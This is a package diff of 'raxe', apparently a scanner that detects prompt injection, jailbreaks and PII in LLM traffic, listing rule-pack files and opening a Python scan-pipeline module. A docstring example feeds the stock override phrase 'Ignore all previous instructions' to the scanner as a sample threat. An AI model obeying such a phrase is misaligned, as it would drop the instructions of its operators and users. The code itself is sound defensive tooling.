- raxe/packs/core/v1.0.0/rules/hc/hc-156@1.0.0.yaml +37 -0
- raxe/packs/core/v1.0.0/rules/hc/hc-157@1.0.0.yaml +37 -0
- raxe/packs/core/v1.0.0/rules/hc/hc-158@1.0.0.yaml +37 -0
- raxe/packs/core/v1.0.0/rules/hc/hc-159@1.0.0.yaml +37 -0
- raxe/packs/core/v1.0.0/rules/hc/hc-160@1.0.0.yaml +37 -0
- raxe/packs/core/v1.0.0/rules/hc/hc-161@1.0.0.yaml +37 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-001@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-009@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-020@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-021@1.0.0.yaml +46 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-022@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-028@1.0.0.yaml +43 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-033@1.0.0.yaml +46 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-034@1.0.0.yaml +46 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-036@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-039@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-056@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-066@1.0.0.yaml +37 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-076@1.0.0.yaml +37 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-098@1.0.0.yaml +46 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-103@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-104@1.0.0.yaml +52 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-105@1.0.0.yaml +56 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-110@1.0.0.yaml +56 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-111@1.0.0.yaml +57 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-112@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-113@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-114@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-115@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-116@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-117@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-118@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-119@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-120@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-121@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-122@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-123@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-124@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-125@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-126@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-127@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-128@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-129@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-130@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-131@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-132@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-133@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-134@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-135@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-136@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-137@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-138@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-139@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-140@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-141@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-142@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-143@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-144@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-145@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-146@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-147@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-148@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-149@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-150@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-151@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-152@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-153@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-154@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-155@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-156@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-157@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-158@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-159@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-160@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-161@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-162@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-201@1.0.0.yaml +40 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-202@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-203@1.0.0.yaml +51 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-204@1.0.0.yaml +50 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-205@1.0.0.yaml +50 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-206@1.0.0.yaml +50 -0
- raxe/packs/core/v1.0.0/rules/jb/jb-207@1.0.0.yaml +49 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-001@1.0.0.yaml +48 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-009@1.0.0.yaml +48 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-012@1.0.0.yaml +48 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-017@1.0.0.yaml +48 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-022@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-025@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-027@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-028@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-034@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-037@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-040@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-041@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-044@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-050@1.0.0.yaml +57 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-051@1.0.0.yaml +53 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-052@1.0.0.yaml +52 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-053@1.0.0.yaml +56 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-054@1.0.0.yaml +53 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-055@1.0.0.yaml +51 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-056@1.0.0.yaml +51 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-058@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-2015@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-2025@1.0.0.yaml +35 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-2026@1.0.0.yaml +39 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-2035@1.0.0.yaml +39 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-2037@1.0.0.yaml +39 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-2042@1.0.0.yaml +39 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3001@1.0.0.yaml +39 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3002@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3003@1.0.0.yaml +36 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3004@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3005@1.0.0.yaml +39 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3006@1.0.0.yaml +35 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3007@1.0.0.yaml +37 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3008@1.0.0.yaml +35 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3009@1.0.0.yaml +42 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3010@1.0.0.yaml +39 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3011@1.0.0.yaml +35 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3012@1.0.0.yaml +35 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3013@1.0.0.yaml +36 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3014@1.0.0.yaml +36 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3015@1.0.0.yaml +42 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3016@1.0.0.yaml +42 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3017@1.0.0.yaml +40 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3018@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3019@1.0.0.yaml +40 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3020@1.0.0.yaml +40 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3021@1.0.0.yaml +39 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3022@1.0.0.yaml +36 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3023@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3024@1.0.0.yaml +37 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3025@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3026@1.0.0.yaml +42 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3027@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3028@1.0.0.yaml +42 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3029@1.0.0.yaml +36 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3030@1.0.0.yaml +42 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3031@1.0.0.yaml +37 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3032@1.0.0.yaml +42 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3033@1.0.0.yaml +39 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3034@1.0.0.yaml +40 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3035@1.0.0.yaml +43 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3036@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3037@1.0.0.yaml +35 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3038@1.0.0.yaml +35 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3039@1.0.0.yaml +35 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3040@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3041@1.0.0.yaml +39 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3042@1.0.0.yaml +36 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3043@1.0.0.yaml +35 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3044@1.0.0.yaml +43 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3045@1.0.0.yaml +36 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3046@1.0.0.yaml +37 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3047@1.0.0.yaml +36 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3048@1.0.0.yaml +36 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3049@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3050@1.0.0.yaml +44 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3051@1.0.0.yaml +35 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3052@1.0.0.yaml +36 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3053@1.0.0.yaml +35 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3054@1.0.0.yaml +35 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3055@1.0.0.yaml +40 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3056@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3057@1.0.0.yaml +40 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3058@1.0.0.yaml +43 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3059@1.0.0.yaml +42 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3060@1.0.0.yaml +42 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3061@1.0.0.yaml +50 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3062@1.0.0.yaml +50 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3063@1.0.0.yaml +54 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3064@1.0.0.yaml +78 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3065@1.0.0.yaml +84 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3066@1.0.0.yaml +84 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3067@1.0.0.yaml +88 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3068@1.0.0.yaml +94 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3069@1.0.0.yaml +90 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3070@1.0.0.yaml +99 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3071@1.0.0.yaml +91 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3072@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3073@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3074@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3075@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3076@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3077@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3078@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3079@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3080@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3081@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3082@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3083@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3084@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/pii/pii-3085@1.0.0.yaml +38 -0
- raxe/packs/core/v1.0.0/rules/rag/rag-016@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/rag/rag-028@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/rag/rag-042@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/rag/rag-044@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/rag/rag-045@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/rag/rag-050@1.0.0.yaml +47 -0
- raxe/packs/core/v1.0.0/rules/rag/rag-201@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/rag/rag-202@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/rag/rag-3001@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/rag/rag-3006@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/rag/rag-3009@1.0.0.yaml +41 -0
- raxe/packs/core/v1.0.0/rules/rag/rag-3012@1.0.0.yaml +41 -0
- raxe/plugins/__init__.py +98 -0
- raxe/plugins/custom_rules.py +380 -0
- raxe/plugins/loader.py +389 -0
- raxe/plugins/manager.py +538 -0
- raxe/plugins/protocol.py +428 -0
- raxe/py.typed +0 -0
- raxe/sdk/__init__.py +77 -0
- raxe/sdk/agent_scanner.py +1918 -0
- raxe/sdk/client.py +1603 -0
- raxe/sdk/decorator.py +175 -0
- raxe/sdk/exceptions.py +859 -0
- raxe/sdk/integrations/__init__.py +277 -0
- raxe/sdk/integrations/agent_scanner.py +71 -0
- raxe/sdk/integrations/autogen.py +872 -0
- raxe/sdk/integrations/crewai.py +1368 -0
- raxe/sdk/integrations/dspy.py +845 -0
- raxe/sdk/integrations/extractors.py +363 -0
- raxe/sdk/integrations/huggingface.py +395 -0
- raxe/sdk/integrations/langchain.py +948 -0
- raxe/sdk/integrations/litellm.py +484 -0
- raxe/sdk/integrations/llamaindex.py +1049 -0
- raxe/sdk/integrations/portkey.py +831 -0
- raxe/sdk/suppression_context.py +215 -0
- raxe/sdk/wrappers/__init__.py +163 -0
- raxe/sdk/wrappers/anthropic.py +310 -0
- raxe/sdk/wrappers/openai.py +221 -0
- raxe/sdk/wrappers/vertexai.py +484 -0
- raxe/utils/__init__.py +12 -0
- raxe/utils/error_sanitizer.py +135 -0
- raxe/utils/logging.py +241 -0
- raxe/utils/performance.py +414 -0
- raxe/utils/profiler.py +339 -0
- raxe/utils/validators.py +170 -0
- raxe-0.4.6.dist-info/METADATA +471 -0
- raxe-0.4.6.dist-info/RECORD +668 -0
- raxe-0.4.6.dist-info/WHEEL +5 -0
- raxe-0.4.6.dist-info/entry_points.txt +2 -0
- raxe-0.4.6.dist-info/licenses/LICENSE +56 -0
- raxe-0.4.6.dist-info/top_level.txt +1 -0
|
@@ -0,0 +1,1059 @@
|
|
|
1
|
+
"""Complete scan pipeline orchestrator.
|
|
2
|
+
|
|
3
|
+
Application layer - integrates all components into a unified scanning pipeline:
|
|
4
|
+
- L1 rule-based detection (Phase 1b)
|
|
5
|
+
- L2 ML-based detection (Phase 1c stub)
|
|
6
|
+
- Result merging (Phase 1c)
|
|
7
|
+
- Pack loading (Phase 2a)
|
|
8
|
+
- Policy evaluation (Phase 3a - if available)
|
|
9
|
+
- Privacy-first telemetry (Phase 3b)
|
|
10
|
+
- Schema validation (Sprint 3)
|
|
11
|
+
|
|
12
|
+
Performance targets:
|
|
13
|
+
- P95 end-to-end latency: <10ms
|
|
14
|
+
- Component breakdown: L1 <5ms, L2 <1ms, overhead <4ms
|
|
15
|
+
"""
|
|
16
|
+
import hashlib
|
|
17
|
+
import time
|
|
18
|
+
from dataclasses import dataclass
|
|
19
|
+
from datetime import datetime, timezone
|
|
20
|
+
|
|
21
|
+
from raxe.application.apply_policy import ApplyPolicyUseCase
|
|
22
|
+
from raxe.application.scan_merger import CombinedScanResult, ScanMerger
|
|
23
|
+
from raxe.application.telemetry_orchestrator import get_orchestrator
|
|
24
|
+
from raxe.domain.engine.executor import Detection, RuleExecutor
|
|
25
|
+
from raxe.domain.ml.protocol import L2Detector, L2Result
|
|
26
|
+
from raxe.domain.policies.models import PolicyAction
|
|
27
|
+
from raxe.infrastructure.packs.registry import PackRegistry
|
|
28
|
+
from raxe.infrastructure.telemetry.hook import TelemetryHook
|
|
29
|
+
from raxe.utils.logging import get_logger
|
|
30
|
+
|
|
31
|
+
# Temporary BlockAction enum for backward compatibility
|
|
32
|
+
from enum import Enum
|
|
33
|
+
|
|
34
|
+
class BlockAction(Enum):
|
|
35
|
+
"""Temporary backward compatibility - maps to PolicyAction."""
|
|
36
|
+
ALLOW = "ALLOW"
|
|
37
|
+
WARN = "WARN"
|
|
38
|
+
BLOCK = "BLOCK"
|
|
39
|
+
CHALLENGE = "CHALLENGE"
|
|
40
|
+
|
|
41
|
+
# Import metrics collector
|
|
42
|
+
try:
|
|
43
|
+
from raxe.monitoring.metrics import collector
|
|
44
|
+
METRICS_AVAILABLE = True
|
|
45
|
+
except ImportError:
|
|
46
|
+
METRICS_AVAILABLE = False
|
|
47
|
+
collector = None # type: ignore
|
|
48
|
+
|
|
49
|
+
logger = get_logger(__name__)
|
|
50
|
+
|
|
51
|
+
|
|
52
|
+
@dataclass(frozen=True)
|
|
53
|
+
class ScanPipelineResult:
|
|
54
|
+
"""Complete result from full scan pipeline.
|
|
55
|
+
|
|
56
|
+
Attributes:
|
|
57
|
+
scan_result: Combined L1+L2 detection results
|
|
58
|
+
policy_decision: Action determined by policy (ALLOW/WARN/BLOCK)
|
|
59
|
+
should_block: True if request should be blocked
|
|
60
|
+
duration_ms: Total pipeline execution time
|
|
61
|
+
text_hash: SHA256 hash of scanned text (privacy-preserving)
|
|
62
|
+
metadata: Additional pipeline metadata
|
|
63
|
+
l1_detections: Count of L1 detections
|
|
64
|
+
l2_detections: Count of L2 predictions
|
|
65
|
+
plugin_detections: Count of plugin detections
|
|
66
|
+
l1_duration_ms: L1 processing time
|
|
67
|
+
l2_duration_ms: L2 processing time
|
|
68
|
+
"""
|
|
69
|
+
scan_result: CombinedScanResult
|
|
70
|
+
policy_decision: BlockAction
|
|
71
|
+
should_block: bool
|
|
72
|
+
duration_ms: float
|
|
73
|
+
text_hash: str
|
|
74
|
+
metadata: dict[str, object]
|
|
75
|
+
l1_detections: int = 0
|
|
76
|
+
l2_detections: int = 0
|
|
77
|
+
plugin_detections: int = 0
|
|
78
|
+
l1_duration_ms: float = 0.0
|
|
79
|
+
l2_duration_ms: float = 0.0
|
|
80
|
+
|
|
81
|
+
def __post_init__(self) -> None:
|
|
82
|
+
"""Validate pipeline result."""
|
|
83
|
+
if self.duration_ms < 0:
|
|
84
|
+
raise ValueError(f"duration_ms cannot be negative: {self.duration_ms}")
|
|
85
|
+
|
|
86
|
+
@property
|
|
87
|
+
def has_threats(self) -> bool:
|
|
88
|
+
"""True if any threats detected."""
|
|
89
|
+
return self.scan_result.has_threats
|
|
90
|
+
|
|
91
|
+
@property
|
|
92
|
+
def severity(self) -> str | None:
|
|
93
|
+
"""Highest severity across all detections."""
|
|
94
|
+
if self.scan_result.combined_severity:
|
|
95
|
+
return self.scan_result.combined_severity.value
|
|
96
|
+
return None
|
|
97
|
+
|
|
98
|
+
@property
|
|
99
|
+
def total_detections(self) -> int:
|
|
100
|
+
"""Total detections across L1 and L2."""
|
|
101
|
+
return self.scan_result.total_threat_count
|
|
102
|
+
|
|
103
|
+
@property
|
|
104
|
+
def detections(self) -> list:
|
|
105
|
+
"""All detections from L1 rules as a flat list.
|
|
106
|
+
|
|
107
|
+
Convenience property that provides direct access to L1 detection objects
|
|
108
|
+
without requiring deep nesting into scan_result.l1_result.detections.
|
|
109
|
+
|
|
110
|
+
Note: L2 predictions are not included here as they have a different
|
|
111
|
+
structure (L2Prediction vs Detection). Use scan_result.l2_predictions
|
|
112
|
+
for ML predictions.
|
|
113
|
+
|
|
114
|
+
Returns:
|
|
115
|
+
List of Detection objects from L1 rule matching
|
|
116
|
+
|
|
117
|
+
Example:
|
|
118
|
+
# Instead of:
|
|
119
|
+
result.scan_result.l1_result.detections
|
|
120
|
+
|
|
121
|
+
# Use:
|
|
122
|
+
result.detections
|
|
123
|
+
"""
|
|
124
|
+
return self.scan_result.l1_detections
|
|
125
|
+
|
|
126
|
+
def __bool__(self) -> bool:
|
|
127
|
+
"""Boolean evaluation: True when safe, False when threats detected.
|
|
128
|
+
|
|
129
|
+
Enables intuitive conditional checks:
|
|
130
|
+
if result: # True when safe (no threats)
|
|
131
|
+
if not result: # True when threats detected
|
|
132
|
+
|
|
133
|
+
This follows the principle that a "good" scan result is truthy.
|
|
134
|
+
|
|
135
|
+
Returns:
|
|
136
|
+
True if no threats detected, False if threats present
|
|
137
|
+
|
|
138
|
+
Example:
|
|
139
|
+
result = pipeline.scan("Hello world")
|
|
140
|
+
if result:
|
|
141
|
+
print("Safe to proceed")
|
|
142
|
+
else:
|
|
143
|
+
print("Threats detected, blocking")
|
|
144
|
+
"""
|
|
145
|
+
return not self.has_threats
|
|
146
|
+
|
|
147
|
+
def layer_breakdown(self) -> dict[str, int]:
|
|
148
|
+
"""Return detection count by layer.
|
|
149
|
+
|
|
150
|
+
Returns:
|
|
151
|
+
Dictionary with layer names and detection counts
|
|
152
|
+
"""
|
|
153
|
+
return {
|
|
154
|
+
"L1": self.l1_detections,
|
|
155
|
+
"L2": self.l2_detections,
|
|
156
|
+
"PLUGIN": self.plugin_detections,
|
|
157
|
+
}
|
|
158
|
+
|
|
159
|
+
def to_dict(self) -> dict[str, object]:
|
|
160
|
+
"""Convert to dictionary for serialization.
|
|
161
|
+
|
|
162
|
+
Returns:
|
|
163
|
+
Dictionary representation of pipeline result
|
|
164
|
+
"""
|
|
165
|
+
return {
|
|
166
|
+
"has_threats": self.has_threats,
|
|
167
|
+
"should_block": self.should_block,
|
|
168
|
+
"policy_decision": self.policy_decision.value,
|
|
169
|
+
"severity": self.severity,
|
|
170
|
+
"total_detections": self.total_detections,
|
|
171
|
+
"duration_ms": self.duration_ms,
|
|
172
|
+
"text_hash": self.text_hash,
|
|
173
|
+
"scan_result": self.scan_result.to_dict(),
|
|
174
|
+
"metadata": self.metadata,
|
|
175
|
+
"layer_breakdown": self.layer_breakdown(),
|
|
176
|
+
"l1_detections": self.l1_detections,
|
|
177
|
+
"l2_detections": self.l2_detections,
|
|
178
|
+
"plugin_detections": self.plugin_detections,
|
|
179
|
+
"l1_duration_ms": self.l1_duration_ms,
|
|
180
|
+
"l2_duration_ms": self.l2_duration_ms,
|
|
181
|
+
}
|
|
182
|
+
|
|
183
|
+
|
|
184
|
+
class ScanPipeline:
|
|
185
|
+
"""Complete scan pipeline orchestrator.
|
|
186
|
+
|
|
187
|
+
Integrates all scanning components into a unified workflow:
|
|
188
|
+
1. Load rules from pack registry
|
|
189
|
+
2. Execute L1 rule-based detection
|
|
190
|
+
3. Execute L2 ML-based analysis (optional, can skip on CRITICAL)
|
|
191
|
+
4. Merge L1+L2 results
|
|
192
|
+
5. Evaluate policy to determine action
|
|
193
|
+
6. Record telemetry (privacy-preserving)
|
|
194
|
+
|
|
195
|
+
This is the main entry point for all scanning operations.
|
|
196
|
+
|
|
197
|
+
Example usage:
|
|
198
|
+
pipeline = ScanPipeline(
|
|
199
|
+
pack_registry=registry,
|
|
200
|
+
rule_executor=executor,
|
|
201
|
+
l2_detector=detector,
|
|
202
|
+
scan_merger=merger,
|
|
203
|
+
apply_policy=ApplyPolicyUseCase(),
|
|
204
|
+
)
|
|
205
|
+
|
|
206
|
+
result = pipeline.scan("Ignore all previous instructions")
|
|
207
|
+
if result.should_block:
|
|
208
|
+
raise BlockedError(result.policy_decision)
|
|
209
|
+
"""
|
|
210
|
+
|
|
211
|
+
def __init__(
|
|
212
|
+
self,
|
|
213
|
+
pack_registry: PackRegistry,
|
|
214
|
+
rule_executor: RuleExecutor,
|
|
215
|
+
l2_detector: L2Detector,
|
|
216
|
+
scan_merger: ScanMerger,
|
|
217
|
+
*,
|
|
218
|
+
apply_policy: ApplyPolicyUseCase | None = None,
|
|
219
|
+
telemetry_hook: TelemetryHook | None = None,
|
|
220
|
+
plugin_manager: object | None = None, # PluginManager type hint circular
|
|
221
|
+
suppression_manager: object | None = None, # SuppressionManager type hint
|
|
222
|
+
enable_l2: bool = True,
|
|
223
|
+
fail_fast_on_critical: bool = True,
|
|
224
|
+
min_confidence_for_skip: float = 0.7,
|
|
225
|
+
enable_schema_validation: bool = False,
|
|
226
|
+
schema_validation_mode: str = "log_only",
|
|
227
|
+
):
|
|
228
|
+
"""Initialize scan pipeline.
|
|
229
|
+
|
|
230
|
+
Args:
|
|
231
|
+
pack_registry: Pack registry for loading rules
|
|
232
|
+
rule_executor: L1 rule execution engine
|
|
233
|
+
l2_detector: L2 ML detector (protocol implementation)
|
|
234
|
+
scan_merger: Result merger
|
|
235
|
+
